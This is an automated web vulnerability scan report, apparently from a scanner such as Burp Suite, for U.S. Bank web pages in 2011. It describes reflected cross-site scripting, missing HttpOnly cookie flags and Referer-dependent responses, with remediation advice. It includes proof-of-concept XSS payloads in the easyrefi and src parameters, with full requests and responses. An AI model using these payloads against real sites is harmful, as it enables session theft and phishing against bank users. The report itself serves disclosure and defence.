Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the easyrefi request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8d39"><x%20style%3dx%3aexpression(alert(1))>d9152e1a565 was submitted in the easyrefi parameter. This input was echoed as c8d39"><x style=x:expression(alert(1))>d9152e1a565 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /cgi_w/cfm/personal/products_and_services/loans_and_credit_lines/credit_rates/zipcode.cfm?GroupCD=A&easyrefi=truec8d39"><x%20style%3dx%3aexpression(alert(1))>d9152e1a565&src=homedropdown HTTP/1.1 Host: www.usbank.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_lv%3D1300275619538%7C1394883619538%3B%20s_lv_s%3DFirst%2520Visit%7C1300277419538%3B%20s_nr%3D1300275619542-New%7C1473075619542%3B%20s_vnum%3D1473075619545%2526vn%253D1%7C1473075619545%3B%20s_invisit%3Dtrue%7C1300277419545%3B%20sc_visit_start%3D1%7C1300277419564%3B%20s_visitStart%3D1%7C1300277419566%3B%20s_prevPage%3DPersonal%2520Home%2520Page%7C1300277419567%3B; WT_FPC=id=268076e74370df281811300264817909:lv=1300264817909:ss=1300264817909; s_sess=%20s_cc%3Dtrue%3B%20s_linkTrack%3D%3B%20s_sq%3D%3B%20s_ppv%3D77%3B; s_vi=[CS]v1|26C050D4051D2B35-40000128C02942DC[CE]; USBHOMEPAGEPREF=;
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=ISO-8859-1 Server: Microsoft-IIS/7.5 Set-Cookie: CFID=13480;expires=Fri, 08-Mar-2041 12:00:23 GMT;path=/ Set-Cookie: CFTOKEN=81792004;expires=Fri, 08-Mar-2041 12:00:23 GMT;path=/ X-Powered-By: ASP.NET Date: Wed, 16 Mar 2011 12:00:23 GMT Connection: close Content-Length: 20421
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head>
<title>View Home Equity Rates and Payments from U.S. Bank</title>
The value of the src request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9824e"><x%20style%3dx%3aexpression(alert(1))>318c3a2db3b was submitted in the src parameter. This input was echoed as 9824e"><x style=x:expression(alert(1))>318c3a2db3b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /cgi_w/cfm/personal/products_and_services/loans_and_credit_lines/credit_rates/zipcode.cfm?GroupCD=B&src=homedropdown9824e"><x%20style%3dx%3aexpression(alert(1))>318c3a2db3b HTTP/1.1 Host: www.usbank.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_lv%3D1300275619538%7C1394883619538%3B%20s_lv_s%3DFirst%2520Visit%7C1300277419538%3B%20s_nr%3D1300275619542-New%7C1473075619542%3B%20s_vnum%3D1473075619545%2526vn%253D1%7C1473075619545%3B%20s_invisit%3Dtrue%7C1300277419545%3B%20sc_visit_start%3D1%7C1300277419564%3B%20s_visitStart%3D1%7C1300277419566%3B%20s_prevPage%3DPersonal%2520Home%2520Page%7C1300277419567%3B; WT_FPC=id=268076e74370df281811300264817909:lv=1300264817909:ss=1300264817909; s_sess=%20s_cc%3Dtrue%3B%20s_linkTrack%3D%3B%20s_sq%3D%3B%20s_ppv%3D77%3B; s_vi=[CS]v1|26C050D4051D2B35-40000128C02942DC[CE]; USBHOMEPAGEPREF=;
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=ISO-8859-1 Server: Microsoft-IIS/7.5 Set-Cookie: CFID=13474;expires=Fri, 08-Mar-2041 12:00:22 GMT;path=/ Set-Cookie: CFTOKEN=53856353;expires=Fri, 08-Mar-2041 12:00:22 GMT;path=/ X-Powered-By: ASP.NET Date: Wed, 16 Mar 2011 12:00:21 GMT Connection: close Content-Length: 18798
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head>
<title>View Auto Loan Rates and Payments from U.S. Bank</title>
The value of the src request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 65e3b"><x%20style%3dx%3aexpression(alert(1))>7610b0b1a33 was submitted in the src parameter. This input was echoed as 65e3b"><x style=x:expression(alert(1))>7610b0b1a33 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /cgi_w/cfm/personal/products_and_services/loans_and_credit_lines/home_equity_loans_lines_ps.cfm?src=BrwngMM65e3b"><x%20style%3dx%3aexpression(alert(1))>7610b0b1a33 HTTP/1.1 Host: www.usbank.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_lv%3D1300275619538%7C1394883619538%3B%20s_lv_s%3DFirst%2520Visit%7C1300277419538%3B%20s_nr%3D1300275619542-New%7C1473075619542%3B%20s_vnum%3D1473075619545%2526vn%253D1%7C1473075619545%3B%20s_invisit%3Dtrue%7C1300277419545%3B%20sc_visit_start%3D1%7C1300277419564%3B%20s_visitStart%3D1%7C1300277419566%3B%20s_prevPage%3DPersonal%2520Home%2520Page%7C1300277419567%3B; WT_FPC=id=268076e74370df281811300264817909:lv=1300264817909:ss=1300264817909; s_sess=%20s_cc%3Dtrue%3B%20s_linkTrack%3D%3B%20s_sq%3D%3B%20s_ppv%3D77%3B; s_vi=[CS]v1|26C050D4051D2B35-40000128C02942DC[CE]; USBHOMEPAGEPREF=;
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=ISO-8859-1 Server: Microsoft-IIS/7.5 Set-Cookie: CFID=13456;expires=Fri, 08-Mar-2041 12:00:17 GMT;path=/ Set-Cookie: CFTOKEN=80136216;expires=Fri, 08-Mar-2041 12:00:17 GMT;path=/ X-Powered-By: ASP.NET Date: Wed, 16 Mar 2011 12:00:16 GMT Connection: close Content-Length: 32297
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head>
<title>Home Equity Lines of Credit and Home Equity Loans from U.S. Bank</title>
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /cgi_w/cfm/personal/products_and_services/loans_and_credit_lines/credit_rates/zipcode.cfm HTTP/1.1 Host: www.usbank.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_lv%3D1300275619538%7C1394883619538%3B%20s_lv_s%3DFirst%2520Visit%7C1300277419538%3B%20s_nr%3D1300275619542-New%7C1473075619542%3B%20s_vnum%3D1473075619545%2526vn%253D1%7C1473075619545%3B%20s_invisit%3Dtrue%7C1300277419545%3B%20sc_visit_start%3D1%7C1300277419564%3B%20s_visitStart%3D1%7C1300277419566%3B%20s_prevPage%3DPersonal%2520Home%2520Page%7C1300277419567%3B; WT_FPC=id=268076e74370df281811300264817909:lv=1300264817909:ss=1300264817909; s_sess=%20s_cc%3Dtrue%3B%20s_linkTrack%3D%3B%20s_sq%3D%3B%20s_ppv%3D77%3B; s_vi=[CS]v1|26C050D4051D2B35-40000128C02942DC[CE]; USBHOMEPAGEPREF=;
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=ISO-8859-1 Server: Microsoft-IIS/7.5 Set-Cookie: CFID=13250;expires=Fri, 08-Mar-2041 11:59:56 GMT;path=/ Set-Cookie: CFTOKEN=13120415;expires=Fri, 08-Mar-2041 11:59:56 GMT;path=/ X-Powered-By: ASP.NET Date: Wed, 16 Mar 2011 11:59:56 GMT Connection: close Content-Length: 20355
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head>
<title>View Home Equity Rates and Payments from U.S. Bank</title>
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /cgi_w/cfm/personal/products_and_services/loans_and_credit_lines/home_equity_loans_lines_ps.cfm HTTP/1.1 Host: www.usbank.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_lv%3D1300275619538%7C1394883619538%3B%20s_lv_s%3DFirst%2520Visit%7C1300277419538%3B%20s_nr%3D1300275619542-New%7C1473075619542%3B%20s_vnum%3D1473075619545%2526vn%253D1%7C1473075619545%3B%20s_invisit%3Dtrue%7C1300277419545%3B%20sc_visit_start%3D1%7C1300277419564%3B%20s_visitStart%3D1%7C1300277419566%3B%20s_prevPage%3DPersonal%2520Home%2520Page%7C1300277419567%3B; WT_FPC=id=268076e74370df281811300264817909:lv=1300264817909:ss=1300264817909; s_sess=%20s_cc%3Dtrue%3B%20s_linkTrack%3D%3B%20s_sq%3D%3B%20s_ppv%3D77%3B; s_vi=[CS]v1|26C050D4051D2B35-40000128C02942DC[CE]; USBHOMEPAGEPREF=;
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=ISO-8859-1 Server: Microsoft-IIS/7.5 Set-Cookie: CFID=13203;expires=Fri, 08-Mar-2041 11:59:53 GMT;path=/ Set-Cookie: CFTOKEN=63335331;expires=Fri, 08-Mar-2041 11:59:53 GMT;path=/ X-Powered-By: ASP.NET Date: Wed, 16 Mar 2011 11:59:53 GMT Connection: close Content-Length: 32235
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head>
<title>Home Equity Lines of Credit and Home Equity Loans from U.S. Bank</title>
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /cgi_w/cfm/personal/products_and_services/loans_and_credit_lines/home_equity_smart_refi.cfm HTTP/1.1 Host: www.usbank.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_lv%3D1300275619538%7C1394883619538%3B%20s_lv_s%3DFirst%2520Visit%7C1300277419538%3B%20s_nr%3D1300275619542-New%7C1473075619542%3B%20s_vnum%3D1473075619545%2526vn%253D1%7C1473075619545%3B%20s_invisit%3Dtrue%7C1300277419545%3B%20sc_visit_start%3D1%7C1300277419564%3B%20s_visitStart%3D1%7C1300277419566%3B%20s_prevPage%3DPersonal%2520Home%2520Page%7C1300277419567%3B; WT_FPC=id=268076e74370df281811300264817909:lv=1300264817909:ss=1300264817909; s_sess=%20s_cc%3Dtrue%3B%20s_linkTrack%3D%3B%20s_sq%3D%3B%20s_ppv%3D77%3B; s_vi=[CS]v1|26C050D4051D2B35-40000128C02942DC[CE]; USBHOMEPAGEPREF=;
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=ISO-8859-1 Server: Microsoft-IIS/7.5 Set-Cookie: CFID=13243;expires=Fri, 08-Mar-2041 11:59:56 GMT;path=/ Set-Cookie: CFTOKEN=13678760;expires=Fri, 08-Mar-2041 11:59:56 GMT;path=/ X-Powered-By: ASP.NET Date: Wed, 16 Mar 2011 11:59:55 GMT Connection: close Content-Length: 26516
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head>
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /cgi_w/cfm/personal/products_and_services/loans_and_credit_lines/loan_dtls.cfm HTTP/1.1 Host: www.usbank.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_lv%3D1300275619538%7C1394883619538%3B%20s_lv_s%3DFirst%2520Visit%7C1300277419538%3B%20s_nr%3D1300275619542-New%7C1473075619542%3B%20s_vnum%3D1473075619545%2526vn%253D1%7C1473075619545%3B%20s_invisit%3Dtrue%7C1300277419545%3B%20sc_visit_start%3D1%7C1300277419564%3B%20s_visitStart%3D1%7C1300277419566%3B%20s_prevPage%3DPersonal%2520Home%2520Page%7C1300277419567%3B; WT_FPC=id=268076e74370df281811300264817909:lv=1300264817909:ss=1300264817909; s_sess=%20s_cc%3Dtrue%3B%20s_linkTrack%3D%3B%20s_sq%3D%3B%20s_ppv%3D77%3B; s_vi=[CS]v1|26C050D4051D2B35-40000128C02942DC[CE]; USBHOMEPAGEPREF=;
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=ISO-8859-1 Server: Microsoft-IIS/7.5 Set-Cookie: CFID=13209;expires=Fri, 08-Mar-2041 11:59:54 GMT;path=/ Set-Cookie: CFTOKEN=25565567;expires=Fri, 08-Mar-2041 11:59:54 GMT;path=/ X-Powered-By: ASP.NET Date: Wed, 16 Mar 2011 11:59:53 GMT Connection: close Content-Length: 25351
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head>
<title>Auto Loans from U.S. Bank for new and used vehicles</title>
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /cgi_w/cfm/personal/products_and_services/loans_and_credit_lines/usb_creditline_ps.cfm HTTP/1.1 Host: www.usbank.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_lv%3D1300275619538%7C1394883619538%3B%20s_lv_s%3DFirst%2520Visit%7C1300277419538%3B%20s_nr%3D1300275619542-New%7C1473075619542%3B%20s_vnum%3D1473075619545%2526vn%253D1%7C1473075619545%3B%20s_invisit%3Dtrue%7C1300277419545%3B%20sc_visit_start%3D1%7C1300277419564%3B%20s_visitStart%3D1%7C1300277419566%3B%20s_prevPage%3DPersonal%2520Home%2520Page%7C1300277419567%3B; WT_FPC=id=268076e74370df281811300264817909:lv=1300264817909:ss=1300264817909; s_sess=%20s_cc%3Dtrue%3B%20s_linkTrack%3D%3B%20s_sq%3D%3B%20s_ppv%3D77%3B; s_vi=[CS]v1|26C050D4051D2B35-40000128C02942DC[CE]; USBHOMEPAGEPREF=;
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=ISO-8859-1 Server: Microsoft-IIS/7.5 Set-Cookie: CFID=13223;expires=Fri, 08-Mar-2041 11:59:55 GMT;path=/ Set-Cookie: CFTOKEN=21887656;expires=Fri, 08-Mar-2041 11:59:55 GMT;path=/ X-Powered-By: ASP.NET Date: Wed, 16 Mar 2011 11:59:54 GMT Connection: close Content-Length: 20087
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /en/personal/products_and_services/checking/recommender/survey.cfm HTTP/1.1 Host: www.usbank.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: iq%5Fid=393865420%2E7055475; JSESSIONID=0000QCre_it0LXdq9s1lApKLQBP:-1; s_pers=%20s_vnum%3D1473075619545%2526vn%253D1%7C1473075619545%3B%20s_lv%3D1300278074758%7C1394886074758%3B%20s_lv_s%3DFirst%2520Visit%7C1300279874758%3B%20s_nr%3D1300278074763-New%7C1473078074763%3B%20s_invisit%3Dtrue%7C1300279874764%3B%20sc_visit_start%3D1%7C1300279874766%3B%20s_visitStart%3Dno%2520value%7C1300279874768%3B%20s_prevPage%3Dusb%253Achecking%253Aindex.html%7C1300279874769%3B; WT_FPC=id=268076e74370df281811300264817909:lv=1300267338779:ss=1300267327521; s_sess=%20s_linkTrack%3DPersonal%2520Home%2520Page%255E%255EChecking%255E%255EPersonal%2520Home%2520Page%2520%257C%2520Checking%255E%255E%3B%20s_ria%3Dflash%252010%257Csilverlight%25204.0%3B%20s_ppv%3D73%3B%20s_cc%3Dtrue%3B%20SiteC_LINKS%3Dusb%253Achecking%253Aindex.html%255E%255ELog%2520In%2520to%2520Your%2520Account%255E%255Eusb%253Achecking%253Aindex.html%2520%257C%2520Log%2520In%2520to%2520Your%2520Account%255E%255E%3B%20s_sq%3Dusbankcom%253D%252526pid%25253Dhttp%2525253A%2525252F%2525252Fwww.usbank.com%2525252Fchecking%2525252Findex.html%252526oid%25253Dhttps%2525253A%2525252F%2525252Fwww4.usbank.com%2525252FinternetBanking%2525252FRequestRouter%2525253FrequestCmdId%2525253DDisplayLoginPage_1%252526oidt%25253D1%252526ot%25253DA%252526oi%25253D1%3B; ASPSESSIONIDCASCAARB=EJNPIFCAFJEOAJKAMCLADIJM; s_vi=[CS]v1|26C050D4051D2B35-40000128C02942DC[CE]; CAMPIDTYPE=0; CookieEnabled=true; CAMPID=r2952; mbox=check#true#1300278129|session#1300278068498-162067#1300279929; USBHOMEPAGEPREF=;
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=ISO-8859-1 Server: Microsoft-IIS/7.5 Set-Cookie: CFID=14631;expires=Fri, 08-Mar-2041 12:55:04 GMT;path=/ Set-Cookie: CFTOKEN=33480260;expires=Fri, 08-Mar-2041 12:55:04 GMT;path=/ X-Powered-By: ASP.NET Date: Wed, 16 Mar 2011 12:55:03 GMT Connection: close Content-Length: 30855
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Cont ...[SNIP]...
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /en/personal/products_and_services/creditcards/browse.cfm HTTP/1.1 Host: www.usbank.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_lv%3D1300275619538%7C1394883619538%3B%20s_lv_s%3DFirst%2520Visit%7C1300277419538%3B%20s_nr%3D1300275619542-New%7C1473075619542%3B%20s_vnum%3D1473075619545%2526vn%253D1%7C1473075619545%3B%20s_invisit%3Dtrue%7C1300277419545%3B%20sc_visit_start%3D1%7C1300277419564%3B%20s_visitStart%3D1%7C1300277419566%3B%20s_prevPage%3DPersonal%2520Home%2520Page%7C1300277419567%3B; WT_FPC=id=268076e74370df281811300264817909:lv=1300264817909:ss=1300264817909; s_sess=%20s_cc%3Dtrue%3B%20s_linkTrack%3D%3B%20s_sq%3D%3B%20s_ppv%3D77%3B; s_vi=[CS]v1|26C050D4051D2B35-40000128C02942DC[CE]; USBHOMEPAGEPREF=;
Response
HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=ISO-8859-1 Location: /credit-cards/compare.html Server: Microsoft-IIS/7.5 Set-Cookie: CFID=13181;expires=Fri, 08-Mar-2041 11:59:46 GMT;path=/ Set-Cookie: CFTOKEN=28402843;expires=Fri, 08-Mar-2041 11:59:46 GMT;path=/ X-Powered-By: ASP.NET Date: Wed, 16 Mar 2011 11:59:45 GMT Connection: close Content-Length: 0
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /usbanklocations/LanguageController?target=search&language=es HTTP/1.1 Host: www.usbank.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_lv%3D1300275619538%7C1394883619538%3B%20s_lv_s%3DFirst%2520Visit%7C1300277419538%3B%20s_nr%3D1300275619542-New%7C1473075619542%3B%20s_vnum%3D1473075619545%2526vn%253D1%7C1473075619545%3B%20s_invisit%3Dtrue%7C1300277419545%3B%20sc_visit_start%3D1%7C1300277419564%3B%20s_visitStart%3D1%7C1300277419566%3B%20s_prevPage%3DPersonal%2520Home%2520Page%7C1300277419567%3B; WT_FPC=id=268076e74370df281811300264817909:lv=1300264817909:ss=1300264817909; s_sess=%20s_cc%3Dtrue%3B%20s_linkTrack%3D%3B%20s_sq%3D%3B%20s_ppv%3D77%3B; s_vi=[CS]v1|26C050D4051D2B35-40000128C02942DC[CE]; USBHOMEPAGEPREF=;
Response
HTTP/1.1 200 OK Cache-Control: no-cache="set-cookie, set-cookie2" Content-Type: text/html; charset=ISO-8859-1 Content-Language: es Expires: Thu, 01 Dec 1994 16:00:00 GMT Server: Microsoft-IIS/7.5 Set-Cookie: JSESSIONID=00004FoA-jF_i-zN2rstltnCFTj:-1; Path=/usbanklocations Server: WebSphere Application Server/6.1 X-Powered-By: ASP.NET Date: Wed, 16 Mar 2011 11:59:49 GMT Connection: close Content-Length: 25381
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /usbanklocations/remoteSearch.jsp HTTP/1.1 Host: www.usbank.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_lv%3D1300275619538%7C1394883619538%3B%20s_lv_s%3DFirst%2520Visit%7C1300277419538%3B%20s_nr%3D1300275619542-New%7C1473075619542%3B%20s_vnum%3D1473075619545%2526vn%253D1%7C1473075619545%3B%20s_invisit%3Dtrue%7C1300277419545%3B%20sc_visit_start%3D1%7C1300277419564%3B%20s_visitStart%3D1%7C1300277419566%3B%20s_prevPage%3DPersonal%2520Home%2520Page%7C1300277419567%3B; WT_FPC=id=268076e74370df281811300264817909:lv=1300264817909:ss=1300264817909; s_sess=%20s_cc%3Dtrue%3B%20s_linkTrack%3D%3B%20s_sq%3D%3B%20s_ppv%3D77%3B; s_vi=[CS]v1|26C050D4051D2B35-40000128C02942DC[CE]; USBHOMEPAGEPREF=;
Response
HTTP/1.1 200 OK Cache-Control: no-cache="set-cookie, set-cookie2" Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Expires: Thu, 01 Dec 1994 16:00:00 GMT Server: Microsoft-IIS/7.5 Set-Cookie: JSESSIONID=0000eESGuwZMmy8oqW3bu0Rc3VK:-1; Path=/usbanklocations Server: WebSphere Application Server/6.1 X-Powered-By: ASP.NET Date: Wed, 16 Mar 2011 11:59:49 GMT Connection: close Content-Length: 25301
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /usbanklocations/search.jsp HTTP/1.1 Host: www.usbank.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_lv%3D1300275619538%7C1394883619538%3B%20s_lv_s%3DFirst%2520Visit%7C1300277419538%3B%20s_nr%3D1300275619542-New%7C1473075619542%3B%20s_vnum%3D1473075619545%2526vn%253D1%7C1473075619545%3B%20s_invisit%3Dtrue%7C1300277419545%3B%20sc_visit_start%3D1%7C1300277419564%3B%20s_visitStart%3D1%7C1300277419566%3B%20s_prevPage%3DPersonal%2520Home%2520Page%7C1300277419567%3B; WT_FPC=id=268076e74370df281811300264817909:lv=1300264817909:ss=1300264817909; s_sess=%20s_cc%3Dtrue%3B%20s_linkTrack%3D%3B%20s_sq%3D%3B%20s_ppv%3D77%3B; s_vi=[CS]v1|26C050D4051D2B35-40000128C02942DC[CE]; USBHOMEPAGEPREF=;
Response
HTTP/1.1 200 OK Cache-Control: no-cache="set-cookie, set-cookie2" Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Expires: Thu, 01 Dec 1994 16:00:00 GMT Server: Microsoft-IIS/7.5 Set-Cookie: JSESSIONID=0000xKzLZqL906maofleVYD1nP7:-1; Path=/usbanklocations Server: WebSphere Application Server/6.1 X-Powered-By: ASP.NET Date: Wed, 16 Mar 2011 11:59:48 GMT Connection: close Content-Length: 25173
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /redirectcentral.cfm?redirectid=5343 HTTP/1.1 Host: www.usbank.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_pers=%20s_lv%3D1300275619538%7C1394883619538%3B%20s_lv_s%3DFirst%2520Visit%7C1300277419538%3B%20s_nr%3D1300275619542-New%7C1473075619542%3B%20s_vnum%3D1473075619545%2526vn%253D1%7C1473075619545%3B%20s_invisit%3Dtrue%7C1300277419545%3B%20sc_visit_start%3D1%7C1300277419564%3B%20s_visitStart%3D1%7C1300277419566%3B%20s_prevPage%3DPersonal%2520Home%2520Page%7C1300277419567%3B; WT_FPC=id=268076e74370df281811300264817909:lv=1300264817909:ss=1300264817909; s_sess=%20s_cc%3Dtrue%3B%20s_linkTrack%3D%3B%20s_sq%3D%3B%20s_ppv%3D77%3B; s_vi=[CS]v1|26C050D4051D2B35-40000128C02942DC[CE]; USBHOMEPAGEPREF=;
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/7.5 Set-Cookie: CAMPIDTYPE=9999;domain=.usbank.com;expires=Fri, 08-Mar-2041 12:00:15 GMT;path=/ Set-Cookie: CAMPID=r5343;domain=.usbank.com;expires=Fri, 08-Mar-2041 12:00:15 GMT;path=/ Set-Cookie: CAMPIDTYPE=0;domain=.usbank.com;expires=Fri, 08-Mar-2041 12:00:15 GMT;path=/ X-Powered-By: ASP.NET Date: Wed, 16 Mar 2011 12:00:15 GMT Connection: close Content-Length: 516
The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.
Common explanations for Referer-dependent responses include:
Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defences are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.
Issue remediation
The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.
